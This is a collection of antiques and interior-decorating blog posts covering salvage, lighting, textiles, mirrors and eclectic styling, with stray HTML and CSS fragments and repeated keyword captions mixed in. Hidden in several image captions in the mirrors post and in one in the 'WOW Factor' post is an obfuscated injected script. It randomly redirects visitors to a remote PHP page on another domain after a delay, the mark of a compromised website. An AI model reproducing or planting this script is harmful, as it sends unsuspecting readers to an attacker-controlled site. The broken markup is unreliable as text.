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Making Antiques Modern with Windsor Smith

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>If I’ve said it once, I’ve said it a thousand times: Antiques make a modern setting even better! My own home in Berlin is a very modern loft space, clean and contemporary with a minimalist edge, and yet almost everything in it is antique or vintage!  Bring on the Rococo Baby! The outcome is (if I do say so myself!) super stylish and highly functional for the way we live. When I came across interior designer Windsor Smith’s book “Homefront: Design for Modern Living,” I knew she was a soul sister, a kindred spirit! Reading in her intro about her travels overseas, shopping the same paths I shop from Provence down to Spain and back up to Paris, I knew we’d been educated by the same École Française. 

Decorating Tips, Mixing Modern with Antiques, Windsor Smith, Homefront: Design for Modern Living, Toma Clark Haines, The Antiques Diva

Decorating Tips, Mixing Modern with Antiques, Windsor Smith, Homefront: Design for Modern Living, Toma Clark Haines, The Antiques Diva

One only has to flip through a few pages of this book to see that Windsor (by the way, doesn’t she have a great name?) knows how to create a comfortable room that’s also hip, relevant and achingly stylish. And if you dissect the details—which is something I think all of us design-lovers do—you will see that in almost every room she’s decorated, she’s used vintage or antique pieces. Imagine that—design for modern living—using antiques! She even says, “It’s important for every space to have a piece with a provenance, even a breakfast room needs to have some history in it.” Every home I’ve ever had has had an antique in the loo for this exact reason – this lady is speaking my language!

Decorating Tips, Mixing Modern with Antiques, Windsor Smith, Homefront: Design for Modern Living, Toma Clark Haines, The Antiques Diva

What I love about Windsor’s style is that she’s not afraid to be playful.  She takes serious pieces and makes them approachable, friendly.   In fact, one of the rooms in her book is painted a moody black along with black flooring and a crisp white fireplace—and a vibrant blue ping-pong table in the center of the room! How fun is that?! But perhaps what really strikes me is her ability to combine modern style with antique pieces. For instance she’s paired antique dining chairs with a country table in a beautiful modern kitchen. This juxtaposition works beautifully as it really does reflect the way we live today—mixing pieces from all time periods.

Decorating Tips, Mixing Modern with Antiques, Windsor Smith, Homefront: Design for Modern Living, Toma Clark Haines, The Antiques Diva

Sometimes antiques conjure up feelings of formality and rigidness. You think of your mother saying, “Don’t touch that! Use a coaster! Take your shoes off!” But the reality is that antique pieces have been built with quality materials and were made to be durable. They’ve stood the test of time this long, which means they are ideal for people who actually want to LIVE in their homes! Windsor’s interiors illustrate this point perfectly. Whether it’s an 18th century commode she’s used in an entryway or a pair of mid century chairs in a living room, none of her spaces feel stuffy, overly formal or unapproachable.

Decorating Tips, Mixing Modern with Antiques, Windsor Smith, Homefront: Design for Modern Living, Toma Clark Haines, The Antiques Diva

Decorating Tips, Mixing Modern with Antiques, Windsor Smith, Homefront: Design for Modern Living, Toma Clark Haines, The Antiques Diva

She breaks down her process into five chapters, one of which is all about mixing the past and present. She says. “Giving the old a new perspective is critical to good design, but so is imparting a sense of history to the new. If I’m in a room where everything is raw, featureless, and brand new, I feel either uncomfortable or disappointed, as if I’ve arrived too late to the party. I want a story, to be surrounded by things that hold a vibration and note of history.” I couldn’t agree more! If you haven’t already bought your copy of “Homefront” honey don’t delay.  Order that book right now.  It’s getting premier placement front and center on my coffee table!   With 250 pages of inspiring photos and informative text, you certainly won’t be disappointed!

Decorating Tips, Mixing Modern with Antiques, Windsor Smith, Homefront: Design for Modern Living, Toma Clark Haines, The Antiques Diva

Bravo Windsor! And please tell me our paths will cross in Paris and we can become best friends…. would love to know you darling.

The Antiques Diva®  

Your European Pickers

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Here at The Antiques Diva & Co we love taking clients on buying tours, introducing them to places and people that can help them find exactly what they’re looking for. With tours operating in 8 European countries, our locally based guides stay busy taking both tourists and trade professionals on tour! But did you know we also offer Buying Services for clients who want to source antiques in Europe, but can’t come over due to scheduling issues? We act as the “man on the ground,” reaching out to our trusted vendors and dealers to find specific pieces that our clients want. And while buying online has made international shopping a bit easier, we offer the service of loyalty to our customers, ensuring that what we’re showing them via email is of quality and up to their standards because we’ve actually seen each piece in person!

Architectural salvage, Decorating Tips, antique walnut bookcase, boisserie, Antique Buying Services, Sourcing antiques in Europe, The Antiques Diva

Recently one of our long-term clients (who just so happens to be a big name in the hotel world) reached out to us wanting to incorporate more antique architectural items into the hotels he designs.  So who better to source unique and special architectural salvage than The Antiques Diva & Co!? This certainly isn’t the first time we’ve sourced architectural salvage for a client. From antique gates to doors, to fireplaces to floors and even a cathedral ceiling, we’ve found it all.  We adore the idea of creating new spaces using one-of-a-kind antique elements. Antique architectural salvage is often very well-designed and made of solid, quality material but yet it comes at a fraction of the price of producing the same thing nowadays.

Italian antiques, Architectural salvage, Decorating Tips, antique walnut bookcase, boisserie, Antique Buying Services, Sourcing antiques in Europe, The Antiques Diva

So while I was visiting a dealer in Italy, I came across a very handsome semicircular walnut bookcase circa 1810 which had a fabulous price. And because we all love a good story, I asked the dealer for a bit more information.  It was originally built for the Court of Appeals in Brescia, which is a city in Lombardy. It is composed of five elements; a central entrance (which probably concealed a secret passage), flanked by two bookcases on each side. With original patina, it is the perfect piece to design a room around. I could picture a chic hotel bar utilizing this circular bookcase.

Italian wooden bookcase, Architectural salvage, Decorating Tips, antique walnut bookcase, boisserie, Antique Buying Services, Sourcing antiques in Europe, The Antiques Diva

italian walnut bookcase, Architectural salvage, Decorating Tips, antique walnut bookcase, boisserie, Antique Buying Services, Sourcing antiques in Europe, The Antiques Diva

This is just one example of gorgeous architectural elements that come out of important historical European buildings. From chateaus that are being torn down to governmental buildings that are being renovated, our sources have access to some pretty awesome pieces. Staircases, boisserie, windows, doors, flooring— you name it, we can find it. And for an antique lover like me, knowing that these pieces will have a new life for many years to come is quite a rewarding prospect!

Italian antiques, Architectural salvage, Decorating Tips, antique walnut bookcase, boisserie, Antique Buying Services, Sourcing antiques in Europe, The Antiques Diva

If you would like information on our Buying Services or even an Architectural Salvage Buying Tour in Europe, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. We’d love to help you find just what you’re looking for.

Cheers,

The Antiques Diva®  

Salvo Fair

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Whenever clients reach out to us for information on taking an Antiques Diva Buying Tour, one of the first questions we ask them is for which type of pieces they will be looking. Architectural salvage has been high on client’s lists for the last few years and the desire for these types of pieces hasn’t slowed down in 2015. While we have wonderful sources for architectural salvage, the largest architectural salvage fair in the world is coming up in June which will bring together dealers from the UK, Europe, and beyond. The Salvo Fair will be held on 27-28 June with Trade Day on Friday 26 June, at Fawley Hill, Fawley Green, Henley-on-Thames RG9 6JA, Oxfordshire and will be open 11am – 5pm.

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

This is the fourteenth year for this fair which is legendary in the trade, often bringing in some of the best interior designers, architects, builders, developers and dealers to shop. Even celebrities and billionaires are known to peruse the fair for just the right pieces of antique garden art or reclaimed building materials. Anything from antique flooring and bricks to vintage lighting, antique fireplaces, and decorative antiques can be found at Salvo Fair.

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

This year it will be held at Fawley Hill, Sir William McAlpine’s extraordinary private estate near Henley-on-Thames. And it’s the weekend before Henley Regatta and Wimbledon and just after the Royal Ascot races. It’s at the centre of the English Social calendar! Ruby Hazael, co-organizer of Salvo Fair says, “Sir William McAlpine has built an extraordinary home on the outskirts of Henley with a full size steam railway, a railway museum and 400 rescued animals. We are honoured to be able to hold the Salvo Fair at Fawley Hill, and very excited that our visitors will not only be able to browse and buy at the largest salvage fair in the country but will also be able to experience Fawley Hill’s attractions which are not normally open to the public.”

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Just a taste of what one can expect to find at Salvo Fair includes:  Fireplaces, chimneypieces, doors, windows, radiators, statuary, seats, urns, troughs, tubs, garden, sundials, birdbaths, pergola, rose arches, railway sleepers, furniture, bathrooms, baths, basins, taps, toilets, tiles, brassware, knobs, handles, knockers, hinges, balls, finials, chairs, pews, altars, lecterns, stained glass, staircases, spirals, flooring, parquet, woodblock, floorboards, bricks, pavers, flagstones, york stone coping, pediments, balustrade, timber, oak pine, marble, trusses, beams, columns, pilasters, portico, cornice, dado, skirting, roof tiles, slates, ironwork, gates, railings, lighting, lamposts, kitchens, kitchenalia, sinks, post boxes, telephone boxes, cartwheels, shopfittings, butchers block, and shingles.

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

In other words, if you can’t find it at Salvo Fair, you can’t find it!

If you’d like more information on Salvo Fair, check out their website or email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.

Cheers,

The Antiques Diva®

The English Library

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I know in this digital day and age libraries are a thing of the past… but I’m The Antiques Diva® – I LIVE In the PAST! My décor fantasy is to have a dedicated room in my home someday to serve as my library.  Of course, if I’m going to dream I’m going to dream BIG…so that home would actually be a Chateau or Manor House.  Something simple, like Highclere Castle, where Downtown Abbey is filmed would do the trick.

ton-abbey2.jpg”>ton-abbey2-1024×766.jpg” alt=”downton abbey, Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries” width=”600″ height=”449″ />

While I might not have the English country house just yet…. I’m working on it. In the meantime, there are a few easy ways to achieve a look reminiscent of these traditional English country homes.  First off, start with a great library shelving unit.  Those lovely boys at my favorite Belgium boutique hotel turned antique shop JVR 108 have recently acquired all the contents of the famous Chateau Rozenhout (as seen on the cover of The Houses of Veranda book) which means you could actually buy an iconic piece from one of the great houses of Europe.

highclere castle downabbey,

Of course, then once you have the book case you could add some traditional English antique pieces to line your shelves.

Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries

So here’s my confession… While I’m a big reader – reading nearly every night for an hour before bed – I also buy books I never intend to read.  I buy gorgeous antique leather-bound books to stage my shelves! Pretentious? Maybe. Gorgeous? Absolutely!  And trust me… I’m not the only one who buys books they don’t read… flip open any decorating magazine, you’ll see miles of leather bound antique journals! You can pick these up at markets for a song.

Whenever we take clients on a Buying Tours, I always encourage them to buy small pieces as well as furniture. Why? Because if you’re going to ship a container full of bureaus and cabinets home, you might as well fill the drawers with small accessories! Volumes of antique books are the perfect thing to fit into drawers and cabinets, taking up no extra space in your shipping container – so essentially those smalls are shipped for free if you’re already shipping larger items! And once you get them home or back to your store they make the perfect addition for accessorizing your shelves.

Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries

living room bookcase, Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries

The next quintessentially English accessory has to be Staffordshire Dog statues. These typically come in matching pairs and are frequently used on mantles however they make fantastic additions to shelving. I love that they are traditional… but are also wonderfully KITCH!  I’ve even seen them used as bookends which is quite a good look especially when paired with old leather-bound books.

Another accessory that looks fabulous on open shelving is antique English tea caddies. Wooden tea caddies were first introduced in the early 18th century and by the second half of that same century, they were widely considered to be a stylish home accessory. We’ve had several clients purchase these items while on tour. In fact, many people buy them in multiples as they make a lovely displayed collection in a study or even a kitchen!  Add in some traditional blue and white Delft or for that Antique Young Guns look mix it up with some taxidermied birds!

Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries

If you’re after that old English look, try using these perfectly English accessories on your shelves. By simply adding these few elements, you’ll transform your room into something reminiscent of an English country manor! And if you’d like more information on our English Antique Buying Tours email us at to:info@antiquesdiva.com”>info@antiquesdiva.com

Cheerio,

The Antiques Diva® 
(seen here at the Real Life Downton Abbey – Highclere Castle with my gorgeous niece Kyrra)

ton-abbey-1.jpg”>ton-abbey-1.jpg” alt=”downton abbey, Toma Clark Haines, The Antiques Diva, Highclere Castle” width=”600″ height=”781″ />

Using Antique and Vintage Lighting

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I was recently asked as part of a panel where I would start on designing a room.  For me it’s all about setting the mood – and lighting is imperative in creating atmosphere.  I believe lighting is the most important element in any room’s design.  So when I walk into a space the first thing I see is what I want the overhead lighting to be and from there I build my room around it.

Decorating with lighting fixtures, antique lighting fixtures, vintage lighting fixtures, decorating tips, Antiques Diva Interior Decorating, Chandeliers,

chandeliers antiques diva home in berlin, Decorating with lighting fixtures, antique lighting fixtures, vintage lighting fixtures, decorating tips, Antiques Diva Interior Decorating, Chandeliers,

Lighting can make or break the atmosphere in a space. Far too often people underestimate the power of having multiple light sources and simply rely on one overhead light – I start with a fabulous chandelier but then use select lighting to highlight specific pieces, add depth to nondescript rooms and dark corners, to make spaces seem larger and to enhance the overall mood. Sconces as well as floor lamps always come into play… and the BEST COUNTRY IN THE WORLD to buy lighting is ITALY!  Mamma Mia… Italian lighting (specifically Venetian) is good.  I’m in search personally for a waterfall Murano floor lamp for my own living room… lucky for me I have “friends” in high places and the team at Art Glass (who deconstructs hotels) has my wish list on file so they can email when my personal piece becomes available.

Antiques Diva home in Berlin, Toma Clark Haines, Alte Malzerei, Decorating with lighting fixtures, antique lighting fixtures, vintage lighting fixtures, decorating tips, Antiques Diva Interior Decorating, Chandeliers,

You must focus on the floor and table top lighting when decorating a room.  If all of your lighting is coming from overhead, the end result is going to be unflattering. We need overhead lighting for tasks and overall illumination of course, but chandeliers and ceiling fixtures can’t be the only source of light in a room. In order to create a flattering space, you must have a combination of overhead lighting (on a dimmer), table lamps, floor lamps, and, of course, candlelight. In my home there is always LOTS of candlelight (and antique silver candelabras, bien sur)!!!

Decorating with lighting fixtures, antique lighting fixtures, vintage lighting fixtures, decorating tips, Antiques Diva Interior Decorating, Chandeliers,

Decorating with lighting fixtures, antique lighting fixtures, vintage lighting fixtures, decorating tips, Antiques Diva Interior Decorating, Chandeliers,   Decorating with lighting fixtures, antique lighting fixtures, vintage lighting fixtures, decorating tips, Antiques Diva Interior Decorating, Chandeliers,

Now don’t think I’m dissing overhead lighting—there’s nothing I love more than a gorgeous crystal antique chandelier! In fact, an antique chandelier incorporated into a modern space is one of my favorite things. But these can’t be your only source of lights. Many clients that come on tour purchase statement chandeliers and also purchase architectural pieces that they can have made into table lamps. I love this idea because it offers you a way to create custom, one-of-a-kind lamps. After all, each room needs at least five light sources, so why not make them unique?

Decorating with lighting fixtures, antique lighting fixtures, vintage lighting fixtures, decorating tips, Antiques Diva Interior Decorating, Chandeliers,

Decorating with lighting fixtures, antique lighting fixtures, vintage lighting fixtures, decorating tips, Antiques Diva Interior Decorating, Chandeliers,

The truth is, almost anything can be made into a lamp. Get creative – why not use antique jars as lamp bases? You can also take antique silver pieces such as trophies and create lamps out of them.

033

And last, but certainly not least, antique candle holders are a must. I love the patina of antique silver candle holders. But you can also use crystal, porcelain, wood—any material of candle holder really. Nothing sets the tone like candlelight, so be sure to sprinkle plenty of them throughout the room.

No matter what style of lighting you choose, be sure to incorporate antique and vintage pieces. There are always so many ways to use more lighting in any room of your house. If you’d like information on coming on an Antiques Diva Buying Tour to source lighting, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.

Shine brightly,

The Antiques Diva® 

Creating a Bedroom Sanctuary

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I travel 2 to 3 weeks each month for work and I love nothing more than a good hotel room – but Dorothy said it best, “There is no place like home”.  It’s the place we begin and end each day— even if our house is our castle, our bedroom should be our sanctuary. After all, is there any other place on earth where we can be express ourselves so fully? However, creating a bedroom sanctuary is a process, as all decorating is. Here are a few tips to help you along the way!

Decorating a bedroom, Decorating tips,

Starting with a relaxing background is key. Now – in my own bedroom, I have painted the walls and ceiling black! You might think this sounds a bit drastic, but trust me, it sets the tone for a wonderfully soothing atmosphere. Think about it, dark colors allow the walls—and ceiling— to recede, creating an enveloping sense of space! Plus, I suffer from insomnia and so it keeps the room dark while I sleep.

no place like home, Decorating a bedroom, Decorating tips,

Next, you want to make sure that your bedroom is nurturing. What do I mean by this? There needs to be at least one thing that says, “This space is meant to rejuvenate you!”. I am lucky enough to have a gorgeous soaking tub in my bedroom which, whether I’m indulging in a bubble bath or not, reminds me to take some time out and relax. Perhaps you can incorporate a fainting sofa or a beautiful set of plush chairs in your bedroom to give your mind that visual cue that this space is about indulgence!

Decorating a bedroom, Decorating tips,

Speaking of luxe, I say go all the way with linens in the bedroom. Purchase the best quality you can and maybe even incorporate luxurious antique velvet throw pillows. Glamorous touches like this help make your bedroom feel special and comfortable. The reality is that you will spend more time every single night sleeping on your bed and in your sheets than any other place. They should be viewed as an investment!

former bedroom, Decorating a bedroom, Decorating tips,

Another very important element in any bedroom is lighting. Of course you want to have task lighting for reading in bed, but you also want to sprinkle mood lighting throughout the room. A gorgeous crystal chandelier or semi-flush mount fixture is ideal—just be sure to put it on a dimmer! Decorative antique lamps can make lovely additions to the bedroom. And if you have artwork on the walls, use wall mounted art lights to highlight them.

Remember that your bedroom should be all about you—and your partner if you have one! It’s a place to unwind and gently close the door on the outside world. By incorporating antiques and modern conveniences, today’s bedrooms can be the ideal place to end and begin each day!

Happy decorating,

The Antiques Diva® 

Decorating with Antique Textiles

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Antique textiles are a great way to add character to your home, particularly when you want to create warmth and depth. For centuries, textiles have been used both functionally and for decorative purposes. In medieval Europe, large tapestries hung on the walls of great estates and castles to help keep cold draughts out. However, these intricately woven pieces were often highly decorative as well, often telling stories or incorporating nature and architecture. While we don’t need tapestries to keep the cold out today, their decorative nature keeps them on the list of sought-after pieces in the interior design world.

Decorating tips, Decorating with Textiles, Antique Textiles, Antique Rugs, Decorating with Tapestries

Decorating tips, Decorating with Textiles, Antique Textiles, Antique Rugs, Decorating with Tapestries

cuscino, Decorating tips, Decorating with Textiles, Antique Textiles, Antique Rugs, Decorating with Tapestries

When it comes to antique textiles, repurposing is also the name of the game. We find that clients often purchase antique textiles and have them made into one-of-a-kind pillows. Imagine perfectly worn velvets enhanced by intricate brocades being sewn into custom throw pillows. How decadent! These are the perfect additions to sofas, beds, and chairs that really add that element of personality to a room.

Vintage fur coats, Decorating tips, Decorating with Textiles, Antique Textiles, Antique Rugs, Decorating with Tapestries

Speaking of pillows, we’ve even seen people purchase vintage fur coats and create decorative—and plush— pillows from them. It’s a great way to repurpose something that may otherwise never be used again.

Decorating tips, Decorating with Textiles, Antique Textiles, Antique Rugs, Decorating with Tapestries

Decorating tips, Decorating with Textiles, Antique Textiles, Antique Rugs, Decorating with Tapestries

Of course, special antique textiles are art in themselves. Our Diva Guides in Venice, Italy know this to be true. They have access to collections of museum quality textiles from Italy and Asia that can act as artworks in a well-curated home. Simply by taking a remnant of an ancient piece of embroidery and framing it in a modern frame, you can achieve a very sophisticated look that would be at home in a traditional or contemporary space.

Decorating tips, Decorating with Textiles, Antique Textiles, Antique Rugs, Decorating with Tapestries

Lastly, whether you count them as textiles or not, antique rugs are always a great addition to a well-decorated room. They are not only soft with interesting patterns, but they were made to last. Think about it— a rug is something that gets a lot of wear every day!

Decorating tips, Decorating with Textiles, Antique Textiles, Antique Rugs, Decorating with Tapestries

However you choose to decorate with antique textiles, one thing is for sure—you’re going to be adding warmth and personality to your home! If you would like more information about taking an Antiques Diva Buying Tour or utilizing our Buying Services abroad, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.

Stay warm,

The Antiques Diva® 

Decorating with Antique Mirrors

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Whether we’re taking private clients or trade clients on Antique Buying Tours, there are a few key items that people are ALWAYS looking to buy!. Antique mirrors, large or small, are one of the most sought after pieces.  Not only do they work in nearly any space – enhancing it and reflecting light – as we age (yes, I’m talking people, not antiques) we look better and better in old, mottled mercury mirrors!  My theory is:  if you can’t turn back the hands of time at least you can turn back seeing the wrinkles!  Antique mirrors allow us to see ourselves in new ways.

Decorating Tips, Decorating with Antique Mirrors, Trumeau, Best place <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to hang a mirror, Decorating with style, Antiques Diva” width=”600″ height=”450″ />

Decorating Tips, Decorating with Antique Mirrors, Trumeau, Best place <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to hang a mirror, Decorating with style, Antiques Diva” width=”600″ height=”784″ />

An entryway is the ideal place for an antique mirror, preferably a large one so that you can check yourself one last time before you leave the house – it also imbues the home with light, making it feel immediately welcoming.

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Above the mantel is obviously a traditional place to put a mirror and my theory is that this is where you should GO BOLD.  The bigger and the more ornate, the better.  In the evenings, light a slew of candles and watch how the flames flicker in the reflection.   On this cold day in February I’m dreaming of snuggling up next to the fire with the candlelight reflected above.

Decorating Tips, Decorating with Antique Mirrors, Trumeau, Best place <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to hang a mirror, Decorating with style” width=”600″ height=”400″ />

While we’re talking about candlelight, try to hang mirrors any place that candles can be reflected across the room, etc.  Think about a long mirror hung horizontally above the sideboard in the dining room. Then you can fill the sideboard with candles that will make your dinner hour sparkle or it can catch the light from the dining table as you entertain.

Decorating Tips, Decorating with Antique Mirrors, Trumeau, Best place <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to hang a mirror, Decorating with style” width=”600″ height=”800″ />

If you have a strangely placed electric panel, why not prop a mirror up against the wall in front of it? This can also be a great way to use a mirror if you’re a renter and don’t want to put holes in the walls. Propping a large mirror against a wall creates a sense of depth and space and also makes a room feel casual – in fact in my bedroom at home (which has brick walls) I’ve propped an oversized trumeau.

Decorating Tips, Decorating with Antique Mirrors, Trumeau, Best place <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to hang a mirror, Decorating with style” width=”480″ height=”640″ />

Hanging a mirror at the end of a dark hallway or in a closed stairwell will reflect light and give the illusion of a continuation of space. Mirrors make cramped spaces less claustrophobic so anywhere that feels tight, just add a mirror!

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Mirror Mirror on the Wall… Who’s the Fairest of them All?

The Antiques Diva®

Mastering the Eclectic Mix

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>My greatest indulgence is when I’ve got an evening at home alone and I can pour up a glass of chilled white wine, run the hottest, steamiest bath, and grab a decorating magazine to flip through the pages of my favorite publications – Veranda, House Beautiful, Elle Decor…  I gain inspiration and new ideas and always feel compelled to rearrange the house (or at the very least redo the table top decor) once getting out of the tub!  The key to achieving the same look you see on the pages of top shelter magazines is in gravitating towards the eclectic – and with antiques you’re immediately given that sense of personality – with a capital P. When you walk into most big box furniture stores, things are often sold in matching sets.  However, when you look at rooms in the pages of design magazines, there are never matching sets!

Decorating with Antiques, Decorating Tips, Eclectic Decorating, Designing with Style, Antiques Diva,

Antiques & vintage pieces are great additions to every room because they are unique. As you shop, look for items from different time periods and
styles. However, don’t go too crazy. A few key statement pieces will be enough to keep your room feeling fresh and personal. It’s all about choosing material things that reflect your inner self—items that show off your tastes and personality! If you’re shopping the flea markets or antique stores and something calls out to you, buy it!  If you buy what you love your house will reflect your personality.

Decorating with Antiques, Decorating Tips, Eclectic Decorating, Designing with Style, Antiques Diva,

On a similar note, try to keep one common thread that appears throughout your decor. This is an important step in mastering the eclectic mix.  Perhaps the common element in your house is a color. Tie in rugs, upholstery, lamp shades, and window treatments to keep things feeling cohesive. These really are the things that keep a room feeling cohesive.

Another way to weave a common thread though your home is to have the majority of your pieces come from one particular style such as English or
French and then add in a few modern pieces to act as counterparts to them.

Decorating with Antiques, Decorating Tips, Eclectic Decorating, Designing with Style, Antiques Diva,

It’s all about trial and error. Don’t be afraid to experiment with decor. Remember there is no one stop shop to furnish your home. It takes time and  patience to create a space that nourishes you and your family. As with anything in life, it’s so important to enjoy the journey. Decorating should be one of the fun aspects of life, so get out there and find the pieces that can make your home as eclectic and special as you are!

Eclectically,

The Antiques Diva®

Create a WOW Factor with Antiques

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>A person’s home is their palace…   for me, as an American who has lived overseas nearly 15 years, I often say “my home is my country.”  When people come into my home they always remark how unique it is… and the secret to my home decor lies in my antiques.  Antiques make a home special and unique because they bring their own stories and pasts into the present, becoming a perfect way to showcase a truly individual point of view.

Every home is made up of pretty much the same elements— a living room with a sofa and a couple of chairs, a coffee table, end tables, a rug, lighting, and accessories. However, it is those “wow” pieces that really make a home stand out. So what should you look for when you shop for wow pieces?

Decorating with Antiques, WOW Fac<script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tor, Decorating Tips, The Antiques Diva, Chandeliers, ” width=”600″ height=”450″ />

Try to find things that are unique. Rather than looking for the same piece that your sister has, find something that no one you know has in their home. Even if it’s a similar style—e.g., you like the desk your friend has… you can still buy a similar antique desk but with a few minor differences. This will help your home to stand out and make a statement all its own!

Also, no matter what the size of your home is, play with scale. Finding one huge piece of furniture, whether it be an extra long sofa or a bookcase that almost touches the ceiling, really will make your space feel grand.

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Why not hang an enormous chandelier above the dining table or in the middle of the living room or off-balanced in the corner of a room…. better yet, if going off-balance why not do a trio of chandeliers? These extra large pieces give that “WOW” moment when a guest walks in the door.  Be daring in your decor.  The worst thing you can do is play it safe.

